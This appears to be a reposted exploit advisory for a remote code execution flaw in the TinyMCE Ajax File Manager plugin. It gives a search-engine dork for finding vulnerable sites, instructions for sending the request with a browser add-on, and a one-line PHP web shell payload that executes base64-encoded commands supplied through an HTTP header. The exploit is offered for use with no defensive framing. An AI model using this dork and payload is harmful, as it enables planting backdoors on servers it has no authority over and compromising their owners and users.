TinyMCE Ajax File Manager suffers from a remote code executi

____   ____   ____   _______/  |________   ____   ____ 
 /  _  /    _/ __  /  ___/   ___  __ _/ __ _/ __ 
(  <_> )   |    ___/ ___   |  |  |  | /  ___/  ___/
 ____/|___|  /___  >____  > |_ |  |__|    ___  >___  >
            /     /     /                    /     /
      
 
# Exploit Title : timynce Ajax File Manager Remote Code 
# Author        : By onestree
# Software Link : http://www.phpletter.com/Demo/Tinymce-Ajax-File-Manager/
# tested        : windows 7
# Dork          : inurl:"/plugins/filemanager/" or inurl:'/timynce/plugins/"
 
 
*************************************************************
 
how to run the exploit use firefox web browser
and download firefox add ons HackBar

exploit : 

foo=<?php error_reporting(0);print(system('onestree'));passthru(base64_decode($_SERVER[HTTP_CMD]));die; ?>

 ====================================================================

tutorial video 
https://www.youtube.com/watch?v=ahli-dehYWY


Thanks :
 
  Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell
      
          indonesiancoder - moeslimh4x0r - go-coder
 
spesial my hunny ( Fheby Yahya) :* muaaah

（编辑：李大同）

【声明】本站内容均来自网络，其相关言论仅代表作者个人观点，不代表本站立场。若无意侵犯到您的权利，请及时与联系站长删除相关内容!